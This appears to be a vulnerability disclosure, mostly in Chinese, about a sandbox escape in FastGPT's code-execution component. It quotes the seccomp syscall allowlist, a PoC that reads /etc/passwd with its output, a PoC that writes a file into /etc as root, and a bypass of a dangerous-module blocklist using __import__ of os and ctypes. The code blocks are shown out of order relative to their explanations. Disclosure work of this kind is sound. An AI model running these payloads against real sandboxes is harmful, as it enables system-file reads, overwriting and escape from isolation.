allowed_syscalls = [
"syscall.SYS_ARCH_PRCTL", "syscall.SYS_BRK", "syscall.SYS_CLONE",
"syscall.SYS_CLOSE", "syscall.SYS_EPOLL_CREATE1", "syscall.SYS_EXECVE",
"syscall.SYS_EXIT", "syscall.SYS_EXIT_GROUP", "syscall.SYS_FCNTL",
"syscall.SYS_FSTAT", "syscall.SYS_FUTEX", "syscall.SYS_GETDENTS64",
"syscall.SYS_GETEGID", "syscall.SYS_GETEUID", "syscall.SYS_GETGID",
"syscall.SYS_GETRANDOM", "syscall.SYS_GETTID", "syscall.SYS_GETUID",
"syscall.SYS_IOCTL", "syscall.SYS_LSEEK", "syscall.SYS_LSTAT",
"syscall.SYS_MBIND", "syscall.SYS_MEMBARRIER", "syscall.SYS_MMAP",
"syscall.SYS_MPROTECT", "syscall.SYS_MUNMAP", "syscall.SYS_OPEN",
"syscall.SYS_PREAD64", "syscall.SYS_READ", "syscall.SYS_READLINK",
"syscall.SYS_READV", "syscall.SYS_RT_SIGACTION", "syscall.SYS_RT_SIGPROCMASK",
"syscall.SYS_SCHED_GETAFFINITY", "syscall.SYS_SET_TID_ADDRESS",
"syscall.SYS_STAT", "syscall.SYS_UNAME",
"syscall.SYS_MREMAP", "syscall.SYS_RT_SIGRETURN", "syscall.SYS_SETUID",
"syscall.SYS_SETGID", "syscall.SYS_GETPID", "syscall.SYS_GETPPID",
"syscall.SYS_TGKILL", "syscall.SYS_SCHED_YIELD", "syscall.SYS_SET_ROBUST_LIST",
"syscall.SYS_GET_ROBUST_LIST", "syscall.SYS_RSEQ", "syscall.SYS_CLOCK_GETTIME",
"syscall.SYS_GETTIMEOFDAY", "syscall.SYS_NANOSLEEP", "syscall.SYS_EPOLL_CTL",
"syscall.SYS_CLOCK_NANOSLEEP", "syscall.SYS_PSELECT6", "syscall.SYS_TIME",
"syscall.SYS_SIGALTSTACK", "syscall.SYS_MKDIRAT", "syscall.SYS_MKDIR"
]
def main():
file = open('/etc/passwd').read()
return {"content": file}
{
"content": "root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n"
}
def main():
with open('/etc/1.py', 'w') as f:
f.write("test\n")
return {"content": "file"}
def detect_dangerous_imports(code):
dangerous_modules = ["os", "sys", "subprocess", "shutil", "socket", "ctypes", "multiprocessing", "threading", "pickle"]
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for alias in node.names:
if alias.name in dangerous_modules:
return alias.name
elif isinstance(node, ast.ImportFrom):
if node.module in dangerous_modules:
return node.module
return None
ctypes = __import__("ctypes")
os = __import__("os")
python sandbox bypass
fastgpt的流程引擎中的代码运行组件沙箱现在不严格,可以实现任意文件读取、任意文件覆盖等问题。
相关沙箱代码:projects/sandbox/src/sandbox/constants.ts
由沙箱代码可知,通过seccomp来限制linux系统调用实现的沙箱机制。允许系统调用的白名单如下:
允许syscall.SYS_READ、syscall.SYS_EXECVE文件读取、进程执行等方法,因此可以实现文件读取等
一、任意文件读取PoC:
在代码运行组件执行以上PoC, 点调试。前台输出如下:
二、任意文件覆盖(拒绝服务)PoC:
可以实现向任意目录下写入任意后缀文件,又因为是root权限写入,因此可以覆盖系统文件导致沙箱系统不可用。
三、绕过静态模块名匹配关键字限制,导入任意模块
模块导入白名单代码如下:
可以通过动态方式导入,如: